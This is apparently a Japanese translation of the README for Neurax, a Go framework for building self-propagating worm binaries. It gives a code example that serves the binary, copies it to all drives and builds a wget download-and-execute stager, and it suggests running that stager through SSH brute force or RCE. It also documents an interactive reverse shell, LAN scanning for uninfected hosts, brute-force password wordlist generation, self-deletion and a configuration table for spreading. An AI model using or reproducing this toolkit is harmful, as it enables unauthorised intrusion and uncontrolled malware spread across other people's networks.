
自己拡散バイナリを構築するためのフレームワーク
自己拡散ソフトウェアの作成を支援するフレームワーク
Neuraxを利用することで、Golangバイナリは外部サーバーを使わずにLAN/WAN上で拡散できます。
多様な設定オプションとコマンドステージャにより、さまざまな無線環境で迅速な伝搬が可能です。
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//提供ポートとステージャの指定
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//バックグラウンドで現在のバイナリを公開するサーバーを起動
go NeuraxServer()
//現在のバイナリをすべての論理ドライブにコピー
NeuraxDisks()
//ターゲットマシンで起動されるべきコマンドステージャを作成
//バイナリをダウンロード、デコード、実行します
cmd_stager := NeuraxStager()
/* ここで、上で生成されたコマンドを何らかの方法で実行する必要があります。
SSHブルートフォース、RCE、またはその他好きな方法を使用できます ;> */
}
unlinkat(2) による自動自己削除N.StagerBg)N.NoInfectCheck でホストが既に感染しているかのチェックを無効化NeuraxServer() 内に配置された排他的ファイルミューテックスによる、ターゲットマシン上での単一実行ポリシーhttrack ステージャN.StagerRemovalDelay).FastScan オプションNeuraxScan() がチャネルではなくコールバック関数を引数として受け取るNeuraxScan() がサブネット全体/ターゲットプールのスキャン間隔を設定可能な無限ループでスキャンNeuraxConfig. が N. に(短く入力するため)wget + curl).WordlistExpand などのオプション)NeuraxScan(func(string)) 関数は、ローカルネットワーク上のアクティブなホストを検出します。
唯一の引数は、アクティブなホストごとにバックグラウンドで呼び出されるコールバック関数です。
ホストは、少なくとも1つのポートが開いている、既に感染していない、かつ N. 内で指定された条件を満たす場合にアクティブとみなされます。
NeuraxScan() は無限ループとして動作し、.Cidr 設定エントリで指定されたサブネット全体をスキャンし、すべてのホストがスキャンされると、.ScanInterval で指定された間隔だけスリープします。
Neuraxバイナリは無線手段を使って自身をコピーする必要はありません。
NeuraxDisks() 関数は、現在のバイナリ(疑わしくない名前で)を検出されたすべての論理ドライブにコピーします。
コピーされたバイナリは実行されず、単に実行されるのを待って宛先に存在します。
NeuraxDisks() は、ディスクのリストを取得できない場合、または任意の宛先へのコピーが不可能だった場合に error を返します。
別の関数 NeuraxZIP(num_files int) err は、現在のバイナリを含むランダムな名前の .zip アーカイブを作成します。
カレントディレクトリに保存され、最大 num_files 個のランダムファイルが含まれます。
NeuraxZIPSelf() は単に現在のバイナリを zip 化し、同じ名前のアーカイブを作成します。
NeuraxReverse() でインタラクティブなリバースシェルを確立できます。
これは .ReverseListener 内で "<host>:<port>" の形式で指定されたホスト名からコマンドを受け取ります。
使用されるプロトコルは .ReverseProto で定義されます。
この関数を呼び出す前に NeuraxOpenComm() が起動されていた場合、各コマンドは上記のセクションで説明したように動作します。
起動されていなかった場合、コマンドはローカルで実行されます。
注:この関数も、受信用の無限ループによるブロッキングを防ぐため、goroutine として実行する必要があります。
ノードが "purge" コマンドを受信すると、このコマンドを他のすべてのノードに再送信し、自身をホストから削除して終了します。
この動作は、ソース内のどこかで NeuraxPurge() を実行することでも開始できます。
選択した拡散ベクトルが何らかのブルートフォースに基づいている場合、適切な単語リストを用意しておくことが重要です。
単語をクライアント側のテキストファイルに保存するのは効率的ではないため、NeuraxWordlist(...words) []string を使用して基本的な単語リストを変異させることができます。
与えられた単語のセットを順列化するには、NeuraxWordlistPermute(..words) []string を使用します。
バイナリに与えられた時間後に自身を削除させたい場合は、コードの先頭で NeuraxSetTTL() を使用します。
この関数は goroutine として起動する必要があります。
例:
go NeuraxSetTTL("2m")
とすると、最初の実行から2分後にバイナリが NeuraxPurgeSelf() を実行します。
特定のプラットフォームで利用可能なすべてのステージャを連鎖させたい場合は、.Stager を "chain" に設定します。
初期実行後にバイナリをコピーする必要がある場合は、NeuraxMigrate(path string) を使用します。
これにより、バイナリが path にコピーされ、現在のバイナリが削除され、新しく移行されたバイナリが実行されます。
このプロジェクトが気に入り、成長を見たいと思われるなら、少額の寄付をご検討ください :>
このソフトウェアは MITライセンス の下で提供されています。
| 名前 | 説明 | デフォルト値 |
|---|
| Nrx.Config.Stager | 使用するコマンドステージャの名前 | random, platform-compatible |
| Nrx.Config.StagerSudo | trueの場合、Linuxコマンドステージャは昇格権限で実行される | false |
| Nrx.Config.StagerRetry | コマンドステージャを再実行する回数 | 0 |
| Nrx.Config.StagerRemoveDelay | ダウンロードしたバイナリを削除する前にスリープ命令が適用される | true |
| Nrx.Config.Port | 提供用ポート | 6741 |
| Nrx.Config.Platform | ターゲットとするプラットフォーム | 自動検出 |
| Nrx.Config.Path | バイナリがホスト上に保存されるパス | . |
| Nrx.Config.FileName | ダウンロードバイナリが提供され、保存される名前 | ランダム |
| Nrx.Config.Base64 | 転送バイナリをbase64エンコードする | false |
| Nrx.Config.CommPort | バイナリ同士が通信するためのポート | 7777 |
| Nrx.Config.CommProto | ノード間通信のプロトコル | "udp" |
| Nrx.Config.ReverseListener | リバースシェルハンドラの"<host>:<port>" を含む | 未指定 |
| Nrx.Config.ReverseProto | リバース接続に使用するプロトコル | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() は特定のポートが開いている場合のみホストをアクティブとみなす | なし |
| Nrx.Config.ScanPassive | NeuraxScan() はパッシブARPトラフィック監視を使用してホストを検出する | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() がARP層を監視する秒数 | 50秒 |
| Nrx.Config.ScanPassiveIface | パッシブスキャン時に使用するインターフェース | デフォルト |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() がスキャン済みポートのタイムアウトとして各スレッドに設定する値 | 2秒 |
| Nrx.Config.ScanPassiveAll | NeuraxScan() が検出されたすべてのデバイスでパケットをキャプチャする | false |
| Nrx.Config.ScanPassiveNoArp | パッシブスキャンが厳密なARPキャプチャフィルタを設定しない | false |
| Nrx.Config.ScanFirst | 最初にスキャンするIPアドレスを含むスライス | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() は .ScanFirst で指定されたホストのみスキャンする | false |
| Nrx.Config.ScanArpCache | NeuraxScan() が最初にローカルARPキャッシュ内のホストをスキャンする。アクティブスキャンのみで動作 | false |
| Nrx.Config.ScanCidr | NeuraxScan() がスキャンするCIDR | ローカルIP + "\24" |
| Nrx.Config.ScanActiveThreads | NeuraxScan() に使用するスレッド数 | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() がターゲットホストの全ポートをスキャンし、アクティブかどうかを判断する | 19から300まで |
| Nrx.Config.ScanInterval | サブネット全体のスキャン前にスリープする時間間隔 | "2m" |
| Nrx.Config.ScanHostInterval | アクティブモードで次のホストをスキャンする前にスリープする時間間隔 | "なし" |
| Nrx.Config.ScanGatewayFirst | アクティブスキャン使用時に最初にスキャンするゲートウェイ | false |
| Nrx.Config.Verbose | trueの場合、すべてのエラーメッセージがSTDOUTに出力される | false |
| Nrx.Config.Remove | エラーが発生した場合、バイナリが自分自身をホストから削除する | false |
| Nrx.Config.PreventReexec | trueの場合、以前に受信したコマンドと一致するものは実行されない | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() が入力単語に非標準的な変換を実行する | false |
| Nrx.Config.WordlistCommon | 単語リストの先頭に最も一般的なパスワード20個を追加する | false |
| Nrx.Config.WordlistCommonNum | 使用する共通パスワードの数 | すべて |
| Nrx.Config.WordlistCommonCountries | 国コードと使用するパスワード数を含む map[string]int | map[string]int |
| Nrx.Config.WordlistMutators | .WordlistExpand が指定された場合に使用するミューテーター | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | NeuraxWordlistPermute() が生成する順列の最大長 | 2 |
| Nrx.Config.WordlistPermuteSeparator | 順列に使用する区切り文字 | "-" |
| Nrx.Config.WordlistShuffle | 生成された単語リストを返す前にシャッフルする | false |
| Nrx.Config.AllocNum | NeuraxAlloc() がランダムメモリを割り当てる回数 | 5 |
| Nrx.Config.Blacklist | あらゆる種類のスキャンから除外されるIPアドレスを含むスライス | []string{} |
| Nrx.Config.FastHTTP | IsHostInfected() のHTTPリクエストがfasthttpライブラリを使用して実行される | false |
| Nrx.Config.Debug | デバッグメッセージを有効にする | false |
| Nrx.Config.NoInfectCheck | ホストが既に感染しているかのチェックを無効にする | true |